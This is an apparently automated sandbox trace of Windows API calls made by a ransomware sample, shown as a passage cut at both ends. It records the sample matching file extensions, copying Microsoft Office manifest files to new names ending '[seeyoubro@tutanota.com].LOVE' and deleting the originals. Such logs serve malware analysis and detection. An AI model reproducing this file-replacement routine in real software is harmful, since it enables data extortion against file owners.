lstrlenW (lpString=".1cd") returned 4 [0204.785] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0204.785] lstrlenW (lpString=".jpg") returned 4 [0204.785] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.785] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0204.785] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53 [0204.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0204.814] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=215883) returned 1 [0204.814] CloseHandle (hObject=0x33c) returned 1 [0204.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0204.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0204.814] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.814] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0204.820] GetLastError () returned 0x0 [0204.820] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x34b4b, lpOverlapped=0x0) returned 1 [0204.945] WriteFile (in: hFile=0x368, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x34b50, lpOverlapped=0x0) returned 1 [0204.949] ReadFile (in: hFile=0x33c, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.950] WriteFile (in: hFile=0x368, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13e, lpOverlapped=0x0) returned 1 [0204.950] SetEndOfFile (hFile=0x368) returned 1 [0204.950] CloseHandle (hObject=0x368) returned 1 [0204.955] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.955] SetEndOfFile (hFile=0x33c) returned 1 [0204.958] CloseHandle (hObject=0x33c) returned 1 [0204.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0204.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0204.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.959] lstrlenW (lpString=".doc") returned 4 [0204.959] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.959] lstrlenW (lpString=".docx") returned 5 [0204.959] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.959] lstrlenW (lpString=".pdf") returned 4 [0204.959] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.959] lstrlenW (lpString=".xls") returned 4 [0204.959] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.959] lstrlenW (lpString=".xlsx") returned 5 [0204.959] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.959] lstrlenW (lpString=".ppt") returned 4 [0204.959] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.961] lstrlenW (lpString=".zip") returned 4 [0204.961] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.961] lstrlenW (lpString=".rar") returned 4 [0204.961] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.961] lstrlenW (lpString=".bz2") returned 4 [0204.961] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.961] lstrlenW (lpString=".7z") returned 3 [0204.961] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.961] lstrlenW (lpString=".dbf") returned 4 [0204.961] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.961] lstrlenW (lpString=".1cd") returned 4 [0204.961] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.961] lstrlenW (lpString=".jpg") returned 4 [0204.961] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.961] lstrlenW (lpString=".doc") returned 4 [0204.961] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.961] lstrlenW (lpString=".docx") returned 5 [0204.961] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.961] lstrlenW (lpString=".pdf") returned 4 [0204.961] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.961] lstrlenW (lpString=".xls") returned 4 [0204.962] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.962] lstrlenW (lpString=".xlsx") returned 5 [0204.962] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.962] lstrlenW (lpString=".ppt") returned 4 [0204.962] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.962] lstrlenW (lpString=".zip") returned 4 [0204.962] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.962] lstrlenW (lpString=".rar") returned 4 [0204.962] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.962] lstrlenW (lpString=".bz2") returned 4 [0204.962] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.962] lstrlenW (lpString=".7z") returned 3 [0204.962] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.962] lstrlenW (lpString=".dbf") returned 4 [0204.962] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.962] lstrlenW (lpString=".1cd") returned 4 [0204.962] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0204.962] lstrlenW (lpString=".jpg") returned 4 [0204.962] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.963] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0204.963] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53 [0204.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0204.965] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=343329) returned 1 [0204.965] CloseHandle (hObject=0x368) returned 1 [0204.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0204.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0204.966] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.966] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0204.967] GetLastError () returned 0x0 [0204.967] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x53d21, lpOverlapped=0x0) returned 1 [0205.062] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x53d30, lpOverlapped=0x0) returned 1 [0205.068] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.068] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.068] SetEndOfFile (hFile=0x348) returned 1 [0205.068] CloseHandle (hObject=0x348) returned 1 [0205.075] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.075] SetEndOfFile (hFile=0x368) returned 1 [0205.080] CloseHandle (hObject=0x368) returned 1 [0205.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0205.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.080] lstrlenW (lpString=".doc") returned 4 [0205.081] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.081] lstrlenW (lpString=".docx") returned 5 [0205.081] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.081] lstrlenW (lpString=".pdf") returned 4 [0205.081] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.081] lstrlenW (lpString=".xls") returned 4 [0205.081] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.081] lstrlenW (lpString=".xlsx") returned 5 [0205.081] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.081] lstrlenW (lpString=".ppt") returned 4 [0205.081] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.081] lstrlenW (lpString=".zip") returned 4 [0205.081] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.081] lstrlenW (lpString=".rar") returned 4 [0205.081] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.081] lstrlenW (lpString=".bz2") returned 4 [0205.081] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.081] lstrlenW (lpString=".7z") returned 3 [0205.081] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.081] lstrlenW (lpString=".dbf") returned 4 [0205.081] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.081] lstrlenW (lpString=".1cd") returned 4 [0205.081] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.081] lstrlenW (lpString=".jpg") returned 4 [0205.082] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.082] lstrlenW (lpString=".doc") returned 4 [0205.082] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.082] lstrlenW (lpString=".docx") returned 5 [0205.082] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.082] lstrlenW (lpString=".pdf") returned 4 [0205.082] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.082] lstrlenW (lpString=".xls") returned 4 [0205.082] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.082] lstrlenW (lpString=".xlsx") returned 5 [0205.082] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.082] lstrlenW (lpString=".ppt") returned 4 [0205.082] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.082] lstrlenW (lpString=".zip") returned 4 [0205.082] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.082] lstrlenW (lpString=".rar") returned 4 [0205.082] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.082] lstrlenW (lpString=".bz2") returned 4 [0205.082] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.082] lstrlenW (lpString=".7z") returned 3 [0205.082] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.082] lstrlenW (lpString=".dbf") returned 4 [0205.082] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.083] lstrlenW (lpString=".1cd") returned 4 [0205.083] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0205.083] lstrlenW (lpString=".jpg") returned 4 [0205.083] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.083] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.083] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53 [0205.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0205.083] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=357349) returned 1 [0205.084] CloseHandle (hObject=0x368) returned 1 [0205.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0205.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0205.084] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.084] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0205.089] GetLastError () returned 0x0 [0205.089] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x573e5, lpOverlapped=0x0) returned 1 [0205.262] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x573f0, lpOverlapped=0x0) returned 1 [0205.267] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.268] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.268] SetEndOfFile (hFile=0x348) returned 1 [0205.268] CloseHandle (hObject=0x348) returned 1 [0205.278] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.278] SetEndOfFile (hFile=0x368) returned 1 [0205.281] CloseHandle (hObject=0x368) returned 1 [0205.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0205.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.297] lstrlenW (lpString=".doc") returned 4 [0205.297] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.298] lstrlenW (lpString=".docx") returned 5 [0205.298] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.298] lstrlenW (lpString=".pdf") returned 4 [0205.298] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.298] lstrlenW (lpString=".xls") returned 4 [0205.298] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.298] lstrlenW (lpString=".xlsx") returned 5 [0205.298] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.298] lstrlenW (lpString=".ppt") returned 4 [0205.298] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.298] lstrlenW (lpString=".zip") returned 4 [0205.298] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.298] lstrlenW (lpString=".rar") returned 4 [0205.298] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.298] lstrlenW (lpString=".bz2") returned 4 [0205.298] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.298] lstrlenW (lpString=".7z") returned 3 [0205.298] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.298] lstrlenW (lpString=".dbf") returned 4 [0205.298] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.298] lstrlenW (lpString=".1cd") returned 4 [0205.298] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.298] lstrlenW (lpString=".jpg") returned 4 [0205.298] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0205.298] lstrlenW (lpString=".doc") returned 4 [0205.298] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.298] lstrlenW (lpString=".docx") returned 5 [0205.298] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.298] lstrlenW (lpString=".pdf") returned 4 [0205.299] 